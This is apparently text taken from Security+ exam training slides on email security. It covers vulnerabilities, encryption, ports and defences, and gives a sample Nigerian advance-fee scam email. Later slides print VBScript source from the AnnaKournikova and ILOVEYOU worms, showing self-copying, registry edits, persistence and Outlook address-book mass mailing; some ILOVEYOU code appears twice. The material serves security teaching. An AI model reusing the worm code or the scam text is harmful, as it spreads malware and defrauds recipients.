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Introduction to Network Security
Comptia Security+ Exam Domain 2

Email Security
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Email Vulnerabilities

• Mostly in plain text
• Eavesdropping
• Data manipulation

• Malware
• Virus

• ILoveYou
• Worms use address book to propagate

• ILoveU
• Cloggs mail servers
• Damage MP3 and JPEG files

• Sircam damage random files
• Trojan horse
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Email Vulnerabilities

• SPAM
• 1994 by lawyers posting to newsgroup

• SCAM
• VBScript
• HTML embedded script
• HTA (HTML Application)
• HOAX (Social Engineering)

• Chain letter (Social Engineering)
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Email Vulnerabilities

• Information leaks

• Password Guessing

• Spoofing and masquerading

• Man-in-the-middle

• Session hijacking
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Email Encryption

• Email encryption
• S/MIME (Secure/Multipurpose Internet Mail Extension)

• Developed by RSA Security
• Uses RSA encryption
• Use X.509 certificate
• RC2 and 3DES Symmetric Key Encryption

• PGP (Pretty Good Privacy)

• Support PKI (X.509, Active Directory, eDirectory)
• IDEA (128), 3DES (168), Twofish and CAST(128) 

Symmetric Key Encryption
• Diffie-Hellman and RSA (according to Sybex)
• Web of trust to validate public key pairs
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Email Encryption

• Secure email provides
• Confidentiality

• Authentication

• Integrity

• Nonrepudiation
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Email Standard Ports and SSL Ports

• SMTP (25) + SSL (465)
• Outgoing mail
• Transfer mail between servers

• POP3 (110) + SSL (995)
• Deliver incoming mail only

• IMAP (143) + SSL (993)
• Connect to email server
• Outlook / Outlook Express clients
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Email Security Solutions

• Encryption

• User Education
• Do not open email from unknown sender

• Use preview pane
• Danger of attachment with long name

• Virus scanning email servers and hosts

• Real Time Black Hole List (Black List)

• Digital certificates
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Nigerian Scam
Received: from mta05.onebox.com (mta05.onebox.com [64.68.77.148])

by spf8.us4.outblaze.com (8.11.0/8.11.0) with ESMTP id fA3KpQC19262

for <xxxxxxxxxx>; Sat, 3 Nov 2001 20:51:26 GMT

Received: from onebox.com ([10.1.111.11]) by mta05.onebox.com

(InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP

id <20011103205125.CLYE306.mta05.onebox.com@onebox.com>;

Sat, 3 Nov 2001 12:51:25 -0800

Received: from [63.103.142.148] by onebox.com with HTTP; Sat, 03 Nov 2001 12:51:25 -
0800

Date: Sat, 03 Nov 2001 12:51:25 -0800

Subject: BUSINESS  ASSISTANCE.

From: "Alexander Musa" <alexmusa@onebox.com>

To: alexmusa@37.com

Content-Type: text/plain; charset=us-ascii

Content-Transfer-Encoding: 7bit

MIME-Version: 1.0

Message-Id: <20011103205125.CLYE306.mta05.onebox.com@onebox.com>

FROM: MR ALEX MUSA  

TO: THE PRESIDENT/CEO
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Nigerian Scam
Sir,

RE: STRICTLY CONFIDENTIAL MONEY TRANSFER / INVESTMENT PROPOSAL.

INTRODUCTION: I am mr Alex Musa a Civil Servant in the Ministry of Health. I 
know this proposal will come to you as a surprise because we have not met before 
either physically or through correspondence. I got your contact from our chamber 
of commerce here in Nigeria and have no doubt in your ability to handle this 
proposal involving huge sum of money.

THE SUBJECT: My father ALHAJI IDRIS MUSA(Now Late) was the Royal Head of my 
community, ELEME (an oil rich town) in Nigeria. My community produces 5.8%of the
total crude oil production in Nigeria and 0.5% of the Dollar value of each 
barrel is paid to my father as royalty by the Federal Government.

My father was also the Chairman of ELEME Special Oil Trust Fund. In his position 
as the Royal head and Chairman of the Oil Trust Fund, he made some money which 
he left for me as the only heir to inherit. The money is Twenty Five Million 
Five Hundred Thousand US Dollars($25.5m). This Money originated from the 
accumulated royalties between 1976-1998.

Due to poor banking system in Nigeria and political instability as a result of 
past Military rules (1985-1999), he deposited this Money in a Strong 
Room/"VAULTS" with an open beneficiary in the Apex Bank of Nigeria pending when 
he would finish arrangement to transfer it abroad as a CONTRACT PAYMENT. He was 
planning this when he died late last year of Heart Attack.
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Nigerian Scam
THE PROPOSAL: Just before my father died he called my attention to the money and 
charged me to look for a foreigner who would assist me in the transfer/investment 
of the funds abroad. So l would be very grateful if you could accept to help me 
achieve this great objective. I promise to give you 20% of the total funds 
transferred to your viable bank account as compensation for your assistance. Five 
percent (5%)would be set aside to take care of all expenses we may incur during 
the transaction. To indicate your interest, contact me urgently and 
confidentially through this my private Email address for more information and the 
roles you will play in this business. All the legal Documents concerning this 
Money will be sent to you as soon as we come to terms.

May the almighty God bless you.

Yours faithfully

MR ALEX MUSA.

--

Alexander Musa

alexmusa@onebox.com - email

(404) 978-1265 x4497 - voicemail/fax

_________________________________________________

FREE voicemail, email, and fax...all in one place.

Sign Up Now! http://www.onebox.com
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AnnaKournikova Part 1
'Vbs.OnTheFly Created By OnTheFly

On Error Resume Next

Set WScriptShell = CreateObject("WScript.Shell")

WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b"

Set FileSystemObject = Createobject("scripting.filesystemobject")

FileSystemObject.copyfile
wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) & 
"\AnnaKournikova.jpg.vbs"

if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then

doMail()

end if

if month(now) = 1 and day(now) = 26 then

WScriptShell.run "Http://www.dynabyte.nl",3,false

end if

Set thisScript = FileSystemObject.opentextfile(wscript.scriptfullname, 1)

thisScriptText = thisScript.readall

thisScript.Close
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AnnaKournikova Part 2
Do

If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then

Set newFile = FileSystemObject.createtextfile(wscript.scriptfullname, True)

newFile.write thisScriptText

newFile.Close

End If

Loop

Function doMail()

On Error Resume Next

Set OutlookApp = CreateObject("Outlook.Application")

If OutlookApp = "Outlook" Then

Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")

Set AddressLists = MAPINameSpace.AddressLists
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AnnaKournikova Part 3
For Each address In AddressLists

If address.AddressEntries.Count <> 0 Then

entryCount = address.AddressEntries.Count

For i = 1 To entryCount

Set newItem = OutlookApp.CreateItem(0)

Set currentAddress = address.AddressEntries(i)

newItem.To = currentAddress.Address

newItem.Subject = "Here you have, ;o)"

newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""

set attachments = newItem.Attachments

attachments.Add FileSystemObject.GetSpecialFolder(0) 
&"\AnnaKournikova.jpg.vbs"

newItem.DeleteAfterSubmit = True

If newItem.To <> "" Then

newItem.Send

WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"

End If

Next

End If

Next

end if

End Function
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ILOVEYOU Virus Part 1
rem Comment String

rem by: Author <SNIPPET>

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout")
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ILOVEYOU Virus Part 2
if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows 
ScriptingHost\Settings\Timeout",0,"REG_DWORD"

end if

Set irwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\This_is_the_MS_Kernel_32.vbs")

c.Copy(dirwin&"\Win32DLL-dot-vbs")

c.Copy(dirsystem&"\LOVE-hyphen-LETTER-hyphen-FOR-hyphen-YOU-dot-TXT-dot-vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub 
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ILOVEYOU Virus Part 3
rem Comment String

rem by: Author <SNIPPET>

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout")
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ILOVEYOU Virus Part 4

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows 
ScriptingHost\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\This_is_the_MS_Kernel_32.vbs")

c.Copy(dirwin&"\Win32DLL-dot-vbs")

c.Copy(dirsystem&"\LOVE-hyphen-LETTER-hyphen-FOR-hyphen-YOU-dot-TXT-dot-vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub


